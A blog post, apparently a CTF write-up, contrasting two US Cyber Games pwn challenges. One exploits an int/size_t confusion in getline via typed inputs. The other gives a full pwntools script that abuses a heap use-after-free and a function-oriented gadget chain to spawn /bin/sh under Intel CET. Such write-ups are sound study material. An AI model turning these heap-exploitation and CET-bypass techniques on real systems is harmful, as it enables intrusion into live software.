USCG S4 Open

back · home · ctf · posted 2024-06-08 · dichotomy of pwn, exploit vs bug complexity

Rant about CTF writeups

Does anybody actually read CTF writeups? Writeups are the unholy matrimony of dry technical writing and a stupefying lack of context. Sometimes it feels like they're only useful for reference to people solving similar challenges in the future.

But there are some subgenres of CTF writeups I really like reading. Namely:

None of these feel monotonous in the way that some writeups do ("First I did X. Then I did Y. Then I did Z."). I want to read about human versus idea, not robot CTFer versus mechanical series of roadblocks!

I also like reading writeups by people who are new to doing CTFs, even if they're mundane. (Also I like reading mundane writeups when I'm working on something similar, but I can't get motivated to write exploits as a form of knowledge documentation since it feels like an inefficient way to represent information... I do like cheatsheets though.)

So instead of two mechanical CTF writeups I want to do a narrative writeup, where the story is about the potential range of uniqueness of pwn challenges!

I spent some time with the USCG (US Cyber Games) Season 4 Open, where I did some pwn challenges. Two of them, exfil and leapfrog, both by LMS57, I think are a good showcase of the range of pwn challs, in that one has a pretty simple bug but wicked (intended) exploit complexity, and the other has a sneaky bug, and exploitation is trivial. So like:

complex bug <-------|-------------------------------------|-----> complex exploit
                  exfil                                leapfrog

Of course, reality is more than two dimensions (and these two are not even at opposite ends), but I like this because they fall pretty cleanly along this one dimension I made up. Or maybe a better way to phrase it is, pwn challenges can offer complexity of state space you discover with your interaction with the environment (pepsipu challenges), versus complexity built into the challenge (MetaCTF challenges).

hard bug, simple exploit

exfil was a small binary running on normal Linux with a normal GNU libc. Here's the wall of text code ( No source provided -- I made it look nice with Ghidra's struct editor :^) ):

void login() {
  __ssize_t err;
  size_t newline_dst;
  init_struct auth_struct;
  int name_length;
  int user_input [3];
  char *name_buf_ptr;
  
  lms_init(&auth_struct);
  do {
    while( true ) {
      name_length = 0;
      puts("Welcome to the challenge!");
      puts("0. Login as an admin");
      puts("1. Login as a user");
      printf("Choose an option: ");
      scanf(" %d",user_input);
      if (user_input[0] == 1) break;
      if ((user_input[0] == 3) && (login_struct != (init_struct *)0x0)) {
        if (login_struct->auth_level == 0) {
          puts("You do not have admin perms to opperate this!");
        }
        else {
          /* vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
             Reaching this code is our goal!
             vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv */
          (*(code *)login_struct->win_func)();
        }
      }
      else {
        puts("Invalid choice.\n");
      }
    }
    printf("How long is your name: ");
    scanf("%d",&name_length);
    getchar();
    
    /**************
     * BUG 1 HERE *
     *************/
    if (auth_struct.name_length < name_length) {
      free(auth_struct.name_buf);
      auth_struct.name_buf = (void *)0x0;
      auth_struct.name_buf = malloc((long)name_length);
    }
    printf("Enter your name: ");
    
    /**************
     * BUG 2 HERE *
     *************/
    err = getline((char **)&auth_struct.name_buf,(size_t *)&name_length,stdin);
    
    name_buf_ptr = (char *)auth_struct.name_buf;
    if (err == 0) {
      puts("Error reading input.");
    }
    else {
      auth_struct.name_length = name_length;
      newline_dst = strcspn((char *)auth_struct.name_buf,"\n");
      name_buf_ptr[newline_dst] = '\0';
      non_admin_function(&auth_struct);
      login_struct = &auth_struct;
    }
    /* This enables us to hit the goal code, by writing auth level and win function */
    if (user_input[0] == 0) {
      admin_function(&auth_struct);
      login_struct = &auth_struct;
    }
  } while( true );
}

What do you think the bug is?

It's nice and sneaky-- the biggest issue is the cast to __ssize_t (8 bytes on this platform) from int (4 bytes). This means we include our user input, which has to be 1, in our input to getline. So instead of our size 10 n looking like:

0000000a

It looks like:

000000010000000a

So we have our basically unlimited heap overflow, but it sounds like a pain to go from that to a stack write, which is the easiest way to get to the win function. Following intended solutions brings me joy.

Secondly, getline sucks! The second parameter is not a limit, but it's just the indicated size of the passed buffer. If you write more data, it'll change the buffer and size! Since I don't feel like writing 000000010000000a bytes (and I wouldn't be able to get 0 in the spot where 1 is currently anyway, which is the goal), we need to do something else.

Instead, we clone the stinky glibc repo and read the getline source code, which is really getdelim:

ssize_t
__getdelim (char **lineptr, size_t *n, int delimiter, FILE *fp)
{
  /* snip */
  if (*lineptr == NULL || *n == 0)
    {
      *n = 120; // Oh? Writing a 8-byte value with a zero where we want it?
      *lineptr = (char *) malloc (*n);
      /* snip */
    }
   /* snip */
}

Cool beans, so we just need to pass a null buffer. I love glibc!!! Live breathe die glibc!!!!!

Thanks to Mr. man and Mr. reading, I know malloc will fail and return null (and set errno) if the requested (unsigned) size is greater than PTRDIFF_MAX. Wtf is that?

# found via greppin
stdlib/stdint.h
199:#  define PTRDIFF_MAX		(9223372036854775807L)
203:#   define PTRDIFF_MAX		(2147483647L)
206:#   define PTRDIFF_MAX		(2147483647)

Ok sure, if it's one of those bottom two I can do that. Since we specify size as %d, we can do -2, then -1, to pass the "is this size bigger?" check, and get a huge unsigned size passed to malloc, which then causes getline to set a 8-byte value to our 4-byte size, zeroing out our user input, and hitting the admin code.

The final exploit is not even a script, here's me inputting it:

Welcome to the challenge!
0. Login as an admin
1. Login as a user
Choose an option: $ 1
How long is your name: $ -2
Enter your name: $ hi
Hello, hi!

Welcome to the challenge!
0. Login as an admin
1. Login as a user
Choose an option: $ 1
How long is your name: $ -1
Enter your name: $ hi
Hello, hi!

Hello, hi! You have admin privileges.

Welcome to the challenge!
0. Login as an admin
1. Login as a user
Choose an option: $ 3
Flag: SIVUSCG{turns_out_size_t_is_not_an_int}

Wow! Sneaky bug, trivial exploitation complexity.

simple bug, hard exploit

In contrast to that, leapfrog was a binary running inside QEMU with a plugin to enforce Intel CET. From my prior knowledge, I immediately thought the intended solution was FOP, LMS's PhD thesis. (As it turns out, there were easier ways to exploit it, but I beelined to this). This also made it a lot more straightforward, in theory, because all I had to do was port the exploit script to glibc 2.39 from his open source repo, which ran against glibc 2.37.9000. Per usual author OSINT is the best CTF skill.

The bug is a pretty obvious UaF (standard heap menu chall). But here's the exploit script:

# leapfrog
# 2024-06-07

# NOTE!: Almost the entirety of this script is ripped off from
# https://github.com/LMS57/FOP_Mythoclast/blob/main/examples/X64/scripts/binsh.py
 
from pwn import *

#################
# --- SETUP --- #
#################

context.terminal = ["tmux", "splitw", "-h"]
context.binary = binary = ELF("./chall", checksec=False)
libc = binary.libc

if args.REMOTE:
    context.noptrace = True
    p = remote("0.cloud.chals.io", 33799)
else:
    p = process(binary.path)

#######################
# Heap menu functions #
#######################

def send(b, a=b":"):
    p.sendlineafter(a, b)

def send_nonl(b, a=b":"):
    p.sendafter(a, b)

def create(index, size):
    send(b'1')
    send(str(index).encode())
    send(str(size).encode())

def edit(index, data):
    send(b'2')
    send(str(index).encode())
    send_nonl(data)

def delete(index):
    send(b'3')
    send(str(index).encode())

def show(index):
    send(b'4')
    send(str(index).encode())

def end():
    send(b'5')

##########
# sploit #
##########

# _dl_tunable_set_tcache_max
gadgets = {"_nss_files_endpwent": 0x13cab0,
"_dl_mcount_wrappe": 0x152510,
"__default_pthread_att": 0x91c60,
"_cache_sysconf": 0xb3470,
"_dl_tunable_set": 0x969b0,
"endttyent": 0x0fd900,
"__memset_sse": 0x0a5ec0,
"__libc_sa_len": 0x1087f0,
"trash": 0x4141414141414141,
}

def get_gadget_addr(symbol):
    if symbol in gadgets:
        addr = libc.address + gadgets[symbol]
        print("Using gadgets dict:", symbol, hex(addr))
    else:
        addr = libc.symbols[symbol]
        print("Using pwntools syms for:", symbol, hex(addr))
    return addr

gad_chain = ["trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"_nss_files_endpwent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
#  /
"_dl_mcount_wrappe",
"__default_pthread_att",
"_dl_tunable_set",
"__memset_sse",
"endttyent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
# b
"__libc_sa_len",
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"_nss_files_endpwent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
# i
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"_nss_files_endhostent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
# n
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"endttyent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
# /
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"_nss_files_endpwent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
# s
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"_nss_files_endprotoent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
# h
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"__default_pthread_att",
"system"]

p.readuntil(b"World: ")
system_addr = int(p.readline(), 16)
print("libc leak:", hex(system_addr))
libc_base = system_addr - libc.symbols.system
print("libc base:", hex(libc_base))
libc.address = libc_base

# get base heap leak
create(0,0x100)
create(1, 0x100)
delete(0)
show(0)
p.readuntil('Data: ')
leak = p.read(8)
leak = u64(leak)<<12
print("heap:", hex(leak))
delete(1)

# tcache dup
edit(1, p64((leak+0x10) ^ (leak>>12)))
create(1, 0x100)
edit(1, p64(0x1c) + p64(10000)) #fini_end
create(0, 0x100) 

ld_leak = libc_base + 0x1d7170
edit(0, b'\x07'*0x80 + p64(ld_leak-0x10)) # overwrite tcache_perthread_struct

create(2,24)
show(2)
p.readuntil('\x00'*10)
ld_base = u64(p.read(8)) - 0x13ff0
print("ld base:", hex(ld_base))

# elf address in ld (used for calculating position of dl_fini functions)
elf_map = ld_base + 0x362e0
print("elf_map:", hex(elf_map))
edit(0, b'\x07'*0x80 + p64(elf_map))

create(2,8)
inside_chunk = leak-0x30a8
edit(2, p64(inside_chunk))

edit(0, b'\x01'+ b'\x00'*0x7f + p64(elf_map+288))
create(3,8)
edit(3, p64(leak+0x3b0)) # overwrite elf_map for fini_end count

# reverse gadget list
gad_chain = gad_chain[::-1]
chain = b''
for x in gad_chain:
    chain += p64(get_gadget_addr(x))

print(len(chain))
create(4, 8000+8000)

# cursed offset
padding = (0x1a90+2296-8+0x2b8+0x98+0x640+0x640-0x368-8-16-0x60-len(chain)+8)
print("padding:", hex(padding))
edit(4, b'a'*padding + chain)

binsh = libc_base
print(hex(binsh))

payload_chunk_start = leak+0x4c0
edit(0, b'\x07'+ b'\x00'*0x7f + p64(payload_chunk_start))
end()

p.interactive()

Sorry for making you scroll through that. The chain is almost straight from the paper, with the exception of modifying the character offsets (for building /bin/sh). The technique is about writing a list of functions for some dispatcher gadget, and each function has some subtle side effect you use to get your desired outcome, while still calling the entire function (unlike in ROP).

Anyway

I guess my point is, pwn challenges are cool and have a lot of variation. These two challenges look similar on paper but they feel very different.

If you have any questions or feedback, please email my public inbox at ~sourque/public-inbox@lists.sr.ht.